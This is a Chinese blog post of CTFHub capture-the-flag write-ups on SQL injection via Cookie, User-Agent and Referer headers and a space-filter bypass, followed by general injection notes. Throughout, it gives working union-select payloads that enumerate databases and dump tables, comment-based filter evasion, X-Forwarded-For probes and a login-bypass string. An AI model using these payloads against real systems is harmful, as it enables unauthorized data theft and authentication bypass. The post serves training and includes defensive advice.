CTFHub | Cookie注入,UA注入,Refer注入,过滤空格(利用hackbar插件)

Cookie注入

Cookie 注入原理

            Cookie 注入的原理也和其他注入一样,只不过是将提交的参数以 Cookie 方式提交,而一般的注入是使用 GET 或者 POST 方式提交,GET 方式提交就是直接在网址后面加上需要注入的语句,POST 方式则是通过表单,GET 和 POST 的不同之处就在于可以通过 IE 地址栏处看到我们提交的参数,而 Cookie 注入却不能。
 

应用

一般使用cookie注入都是伪造cookie进行注入到数据库中而达到获取未经授权数据文件的目的。

防御

  • 对于从Cookie中提取的数据,始终进行充分的验证和过滤。
  • 使用参数化查询或预编译语句,而不是将用户提供的数据直接拼接到SQL查询中。
  • 最小化数据库用户的权限,确保数据库用户只能执行必要的操作。
  • 定期更新和修补应用程序以解决已知的安全漏洞。

解题

进入环境就得到这个页面

 F12+网络查看cookie,发现想要继续进行就要利用bp抓包进行注入

 

 接着开始注入,方法就是和盲注差不多,都是要进行判断爆破

使用'and 1 = 1'进行测试,判断是否存在sql注入

 

 

 判断出存在sql注入且注入方式为整数型注入

使用order by 判断字段数量,判断出字段数量为2列

 

 知道字段数量为2后,可以查看数据库位置,使用联合注入union select 1,2查看未发现数据

判断数据可能不存在数据库中,在id=1中加入负号查看数据

修改2为version(),查看数据库版本,发现数据库版本为MariaDB 10.3.22

 修改2为database(),查看数据库名,发现数据库版本为sqli

查看全部数据库名

-1 union select 1,group_concat(schema_name)from information_schema.schemata

在全部数据库名中发现sqli,最后在sqli数据库中发现news和xavygzkmdt两个表名

-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'

 

 先查看xavygzkmdt表中的全部字段名,发现一个数据名为sepimfwspx

-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='xavygzkmdt'

 

查看数据sepimfwspx中的内容,发现此题flag 

-1 union select 1,group_concat(sepimfwspx) from sqli.xavygzkmdt

 ctfhub{6045c2d822a696ba66fa65ed}

UA注入

User Agent 注入概述

            User-Agent 首部包含了一个特征字符串,用来让网络协议的对端来识别发起请求的用户代理软件的应用类型、操作系统、软件开发商以及版本号。一些网站会把用户的 UA 首部信息写入数据库,用来收集和统计用户信息,如果操作不当就有可能会导致 UA 注入。
 

解题

进入环境得到

 要进行UA注入,可以用bp抓包进行注入,也可以使用浏览器插件hackbar进行注入

 先用1 and 1=1来进行判断是否存在sql注入并判断出注入类型

 

存在sql注入且还是整数型注入

使用order by 判断字段数量

 

 从order by 1开始注入到 order by 3没有回显,证明字段数量为2列

知道字段数量为2后,可以查看数据库位置,使用union select 1,2查看未发现数据

判断数据可能不存在数据库中,将1改为-1查看数据

修改2为version(),查看数据库版本,发现数据库版本为MariaDB 10.3.22

修改2为database(),查看数据库名,发现数据库版本为sqli

查看全部数据库名

-1 union select 1,group_concat(schema_name)from information_schema.schemata

在全部数据库名中发现sqli,最后在sqli数据库中发现ycdkqyhwly和news两个表名

-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'

 先查看ycdkqyhwly表中的全部字段名,发现一个数据名为vfkuxlgmjs

-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='ycdkqyhwly'

 查看数据vfkuxlgmjs中的内容,发现此题flag

-1 union select 1,group_concat(vfkuxlgmjs) from sqli.ycdkqyhwly

ctfhub{0f980060810ed3b9edea3261}

笔记

UA注入原理

    UA注入是一种特定类型的SQL注入攻击,它利用了用户代理(User-Agent,简称UA)字符串中包含的恶意代码来攻击应用程序。UA字符串是浏览器或其他HTTP客户端发送给服务器的一部分信息,其中包括有关客户端操作系统、浏览器版本、设备类型等信息。
    UA注入攻击的原理与常规的SQL注入攻击类似,都是通过注入恶意的SQL语句来攻击应用程序的数据库。但是UA注入攻击的特点是,它不是利用表单字段或URL参数等用户可以直接操作的输入来注入SQL,而是利用UA字符串作为输入。攻击者可以通过修改UA字符串,将恶意的SQL代码插入到应用程序的数据库查询中。

防御

    对于从UA字符串中提取的数据,始终进行充分的验证和过滤。
    确保服务器端的输入验证和过滤逻辑能够正确处理所有的HTTP请求头字段。
    使用参数化查询或预编译语句,而不是将用户提供的数据直接拼接到SQL查询中。
    最小化数据库用户的权限,确保数据库用户只能执行必要的操作。

        SQL 注入点不止会出现在GET 参数或POST 参数中。其中UA注入则是一种特定的SQL注入形式,它利用了应用程序中使用的UA来进行攻击。

联合注入的流程

联合注入的过程

1、判断注入点

2、判断是闭合形式

3、判断查询列数

4、判断显示位

5、获取所有数据库名

6、获取数据库所有表名

7、获取字段名 

8、获取字段中的数据

 Refer注入

Refer注入原理

    Refer注入是一种利用HTTP头字段中的Referer(引荐者)信息来进行攻击的注入技术。Referer字段通常用于告诉服务器请求的来源,即用户是通过哪个页面或链接访问当前页面的。
    Refer注入攻击的原理是通过篡改Referer字段中的值,将恶意的SQL代码插入到应用程序的数据库查询中,从而执行非授权的操作或获取未经授权的数据。攻击者可以通过修改发送给服务器的HTTP请求的Referer字段,将恶意的SQL代码作为Referer值注入进去。

 防御

    对于从Referer字段中提取的数据,始终进行充分的验证和过滤。
    确保服务器端的输入验证和过滤逻辑能够正确处理所有的HTTP请求头字段。
    使用参数化查询或预编译语句,而不是将用户提供的数据直接拼接到SQL查询中。
    最小化数据库用户的权限,确保数据库用户只能执行必要的操作。
    在应用程序中实施访问控制和身份验证,限制用户对敏感数据和操作的访问。
 

 解题

同样的cookie注入,UA注入,Refer注入都可以用浏览器插件hackbar进行注入,也可以用bp抓包更改信息进行注入,伪造cookie,UA,Refer发送请求而达到注入的目的。

进入环境, F12启用hackbar插件

 先用1 and 1=1,判断是否存在sql注入及注入类型

 

 存在sql注入并且注入类型为整数型注入

使用order by 判断字段数量

1 order by 1

 

 

 

 知道字段数量为2后,可以查看数据库位置,使用union select 1,2查看未发现数据

1 union select 1,2

 判断数据可能不存在数据库中,将1改为-1查看数据

-1 union select 1,2

 修改2为version(),查看数据库版本,发现数据库版本为MariaDB 10.3.22

 修改2为database(),查看数据库名,发现数据库版本为sqli

 查看全部数据库名

-1 union select 1,group_concat(schema_name)from information_schema.schemata

在全部数据库名中发现sqli,最后在sqli数据库中发现ajlpvakrna和news两个表名

-1 union select 1,group_concat(table_name) from information_schema.tables where table_schema='sqli'

 先查看ajlpvakrna表中的全部字段名,发现一个数据名为hjxducrloy

-1 union select 1,group_concat(column_name) from information_schema.columns where table_schema='sqli' and table_name='ajlpvakrna'

 查看数据hjxducrloy中的内容,发现此题flag

-1 union select 1,group_concat(hjxducrloy) from sqli.ajlpvakrna

过滤空格

进入环境先输入1

输入1 and 1=1,会报错

 进行过滤空格

1/**/and/**/1/**/=/**/1

 存在sql注入且注入类型为整数型注入

查询列数

1/**/order/**/by/**/1

到3的时候没有回显

 知道字段数量为2后,可以查看数据库位置,使用union select 1,2查看未发现数据

1/**/union/**/select/**/1,2

  判断数据可能不存在数据库中,将1改为-1查看数据

-1/**/union/**/select/**/1,2

 修改2为version(),查看数据库版本,发现数据库版本为MariaDB 10.3.22

-1/**/union/**/select/**/1,version()

 修改2为database(),查看数据库名,发现数据库版本为sqli

-1/**/union/**/select/**/1,database()

 查看全部数据库名

-1/**/union/**/select/**/1,group_concat(schema_name)from/**/information_schema.schemata

在全部数据库名中发现sqli,最后在sqli数据库中发现htdxjvkudj和news两个表名

-1/**/union/**/select/**/1,group_concat(table_name)/**/from/**/information_schema.tables/**/where/**/table_schema='sqli'

 先查看htdxjvkudj表中的全部字段名,发现一个数据名为vklvjwstxw

-1/**/union/**/select/**/1,group_concat(column_name)/**/from/**/information_schema.columns/**/where/**/table_schema='sqli'/**/and/**/table_name='htdxjvkudj'

 查看数据vklvjwstxw中的内容,发现此题flag

-1/**/union/**/select/**/1,group_concat(vklvjwstxw)/**/from/**/sqli.htdxjvkudj

 ctfhub{89cb473f4f1e9c294f48fb4a}

SQL注入总结笔记

参考:【超详细版】学习SQL注入看这篇就够了(原理及思路绕过)_sql注入教程_网络安全-李彦暗的博客-CSDN博客

SQL注入原理


1.SQL注入概念及产生原因:

当web应用向后台数据库传递SQL语句进行数据库操作时,如果对用户输入的参数没有经过严格的过滤处理,那么攻击者就可以构造特殊的SQL语句,直接输入数据库引擎执行,获取或修改数据库中的数据。


2.SQL注入的本质:

把用户输入的数据当作代码来执行,违背了“数据与代码分离”的原则
3.SQL注入的两个关键点:

1,用户能控制输入的内容; 2,web应用把用户输入的内容带入到数据库执行;
SQL注入基础危害:
)盗取网站的敏感信息;
)绕过网站后台认证 后台登录语句: SELECT * FROM admin WHERE Username=‘user’ and Password=‘pass’ 万能密码:‘or ’1‘ = ’1‘ # ;
)借助SQL注入漏洞提权获取系统权限;
)读取文件信息。


MYSQL数据库注入-常用函数:
(1)user() 返回当前使用数据库的用户,也就是网站配置文件中连接数据库的账号 (2)version() 返回当前数据库的版本 (3)database() 返回当前使用的数据库,只有在use命令选择一个数据库之后,才能查到 (4)group_concat() 把数据库中的某列数据或某几列数据合并为一个字符串 (5)@@datadir 数据库路径 (6)@@version_compile_os 操作系统版本


SQL(联合)注入流程:

?id=1 and 1=1


1、判断有无闭合 and 1=1 and 1=2 //结果和第一个一样说明需要闭合,反之无闭合 有闭合则需要用到 --+闭合
2、猜解字段 order by 10 //采用二分法 3、判断数据回显位置 -1 union select 1,2,3,4,5.... //参数等号后面加-表示不显示当前数据 4、获取当前数据库名、用户、版本 union select version(),database(),user(),4...... 4、获取全部数据库名

union select 1,2,(select group\_concat(schema\_name)from information\_schema.schemata)

5、获取表名

union select 1,2,(select group\_concat(table\_name)from information\_schema.tables where table\_schema='库名'

6、获取字段名

union select 1,2,(select group\_concat(column\_name)from information\_schema.columns where table\_name='表名'

7、获取数据 union select 1,2,(select group_concat(字段1,字段2)from 库名.表名
函数名称: 函数功能:

    查 库: select schema\_name from information\_schema.schema
    查 表: select table\_name from information\_schema.tables where table\_schema=库名
    查 列: select column\_name from information\_schema.columns where table\_name=表名
    查数据: select 列名 from 库名.表名

总结--普通SQL注入必备条件:

1、界面能够回显数据库查询到的数据(必要条件);
2、界面回显内容至少能够显示数据库中的某列数据(必要条件);
3、部分能够直接提供数据库报错内容的回显;


SQL注入思路


1.判断注入点

在GET参数、POST参数、Cookie、Referer、XFF、UA等地方尝试插入代码、符号或语句,尝试是否存在数据库参数读取行为,以及能否对其参数产生影响,如产生影响则说明存在注入点。
sql注入点类型

    get注入
    在get传参时写入参数,将SQl语句闭合,后面加写入自己的SQL语句。

    post注入
    通过post传参,原理与get一样,重要的是判断我们所输入的信息是否与数据库产生交互,其次判断SQL语句是如何闭合的。

    有些网站通过查询cookie判断用户是否登录,需要与数据库进行交互,我们可以修改cookie的值,查找我们所需要的东西。或者通过报错注入是网页返回报错信息。

    Referer注入
    Referer正确写法应该是Referrer,因为http规定时写错只能将错就错,有些网站会记录ip和访问路径,例如百度就是通过Referer来统计网站流量,我们将访问路径进行SQL注入,同样也可以得到想要的信息。

    XFF注入
    在用户登录注册模块在 HTTP 头信息添加 X-Forwarded-for: 9.9.9.9' ,用户在注册的时候,如果存在安全隐 患,会出现错误页面或者报错。从而导致注册或者登录用户失败。
    burpsuite 抓包,提交输入检测语句:

    X-Forwarded-for: 127.0.0.1'and 1=1#
    X-Forwarded-for: 127.0.0.1'and 1=2#

两次提交返回不一样,存在 SQL 注入漏洞
 UA注入
输入点在User-Agent


2.判断数据库类型

判断网站使用的是哪个数据库,常见数据库如:
MySQL、MSSQL(即SQLserver)、Oracle、Access、PostgreSQL、db2等等

在实际测试过程中尝试进行SQL注入第一步就是判断数据库类型,因为我们不容易知道对方使用的是什么数据库。
目前来说,企业使用MSSQL即SQLserver的数量最多,MySQL其次,Oracle再次。除此之外的几个常见数据库如 Access、PostgreSQL、db2则要少的多的多。


常用SQL注入判断数据库方法
● 使用数据库特有的函数来判断
● 使用数据库专属符号来判断,如注释符号、多语句查询符等等
● 报错信息判断
● 数据库特性判断


端口扫描

如果可以对主机进行端口扫描,可以根据是否开启对应端口,来大概判断数据库类型。
Oracle
默认端口号:1521
SQL Server
默认端口号:1433
MySQL
默认端口号:3306
PostgreSql
默认端口号:5432


网站类型与数据库的联系

asp:SQL Server,Access
.net :SQL Server
php:Mysql,PostgreSql
java:Oracle,Mysql
根据注释符判断

“#”是MySQL中的注释符,返回错误说明该注入点可能不是MySQL,另外也支持’-- ',和/* */注释(注意mysql使用-- 时需要后面添加空格)

“null”和“%00”是Access支持的注释。

“--”是Oracle和MSSQL支持的注释符,如果返回正常,则说明为这两种数据库类型之一。

“;”是子句查询标识符,Oracle不支持多行查询,因此如果返回错误,则说明很可能是Oracle数据库。
 

  • 0
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论

“相关推荐”对你有帮助么?

  • 非常没帮助
  • 没帮助
  • 一般
  • 有帮助
  • 非常有帮助
提交
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值